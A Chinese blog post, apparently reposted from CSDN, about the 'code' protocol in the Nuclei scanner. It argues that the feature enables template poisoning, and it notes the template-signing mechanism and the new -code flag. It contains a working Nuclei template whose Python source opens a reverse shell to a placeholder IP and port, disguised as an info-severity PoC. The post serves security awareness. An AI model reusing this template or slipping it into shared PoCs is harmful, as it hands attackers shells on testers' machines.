本文介绍: 首先,毋庸置疑这个反制思路时可行的。玩法很多,只能说,脚本小子的快乐又没了,用非官方库的nuclei脚本需要注意一下。再来说两个注意点,第一个是,脚本需要签名,携带code模块yaml文件没有签名运行不起来。众所周知,每年在开源社区投毒漏洞利用工具脚本事件频发,常见的手段有代码中藏恶意代码恶意第三方库,idea特性投毒等等,这不都可以nuclei这一功能结合起来么?官方也只能做到这里了,毋庸置疑,未来使用code模块编写poc肯定会越来越普遍,-code还是成为一个默认选项

code功能

poc时,习惯性查官方文档时候,注意到了一个新的功能code
在这里插入图片描述
链接直达:https://docs.projectdiscovery.io/templates/protocols/code
大概翻译下:

Nuclei 支持主机操作系统执行外部代码。该功能允许安全研究人员、五项测试人员开发人员扩展 Nuclei功能,并执行超出常规支持基于协议测试范围复杂操作

利用这一功能,Nuclei 可以底层操作系统交互,并执行自定义脚本命令,从而开辟了广泛的可能性。它使用能够执行系统配置文件操作网络交互任务。这种控制水平和灵活性使用能够根据自己的具体要求定制安全测试工作流程

编写代码模板时,使用代码块来表示模板请求的开始。该代码块标志着代码相关指令的开始。

执行代码,需要指定系统环境中已安装或可用的语言解释器列表。这些解释可以是(但不限于)bash sh py python3、gops 等,并按顺序搜索,直到找到合适的解释器为止。这些解释器的标识符应与各自的名称系统环境识别标识符对应

第一反应,非常棒,利好漏洞poc生态比如以前有些加密解密只能依赖官方提供的Helper Functions官方讨论区见过无数提各种各样函数支持issue了,如果全都适配,必然nuclei会臃肿到非常大。现在开放三方代码,直接调用本地文件或者自定义代码,完美解决如某友,某微等国内产品复杂poc编写问题

第二反应,支持bash sh py python3、go、ps 等,这不一键反弹shell

众所周知,每年在开源社区投毒漏洞利用工具脚本事件频发,常见的手段有代码中藏恶意代码恶意第三方库,idea特性投毒等等,这不都可以和nuclei这一功能结合起来么?

简单尝试

对着官方仓库https://github.com/projectdiscovery/nuclei/tree/main/integration_tests/protocols/code
编写一个poc(没加签名了,要尝试的自签名

id: sh-test

info:
  name: sh-test
  author: sp4rkw
  severity: info

code:
  - engine:
      - py
      - python3
    source: |
      import socket,subprocess,os
      s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
      s.connect(("xxx.xxx.xxx.xxx",2333))
      os.dup2(s.fileno(),0)
      os.dup2(s.fileno(),1)
      os.dup2(s.fileno(),2)
      p=subprocess.call(["/bin/sh","-i"])
      print("11111")
    
    matchers:
      - type: word
        words:
          - "hello from input baz"

看下效果

具体分析

首先,毋庸置疑这个反制思路时可行的。玩法很多,只能说,脚本小子的快乐又没了,用非官方库的nuclei脚本都需要注意一下。至于官方是否可以投毒,期待有师傅尝试一下?非常可刑

再来说两个注意点,第一个是,脚本需要签名,携带code模块yaml文件,没有签名运行不起来。虽然没什么用,因为每个人都可以生成签名,但是可以阻止伪造官方仓库poc进行投毒。

通过使用私钥公钥机制模板签名模板生态系统增加了一层安全信任。它有助于确定模板作者身份,确保各种系统使用的模板是真实的,没有恶意篡改

直达链接https://docs.projectdiscovery.io/templates/reference/templatesigning

批量签名也非常容易

root@iZmj768nr8:~# nuclei -u scanme.sh -t ./test.yaml -sign
[INF] Generating new key-pair for signing templates
[*] Enter User/Organization Name (exit to abort) : xxx
[*] Enter passphrase (exit to abort): 
[*] Enter same passphrase again: 
[INF] Successfully generated new key-pair for signing templates
root@iZmj768nr80f:~# nuclei -u scanme.sh -t ./test.yaml -sign
[INF] All templates signatures were elaborated success=1 failed=0

第二个点,官方在前几天的更新中,添加-code命令在这里插入图片描述

默认禁止有code模块的脚本运行,需要加-code参数

官方也只能做到这里了,毋庸置疑,未来使用code模块编写poc肯定会越来越普遍,-code还是成为一个默认选项

至于code模块的代码安全检测?留给未来吧

原文地址:https://blog.csdn.net/wy_97/article/details/134750325

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任

如若转载,请注明出处:http://www.7code.cn/show_37716.html

如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱suwngjj01@126.com进行投诉反馈,一经查实,立即删除

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注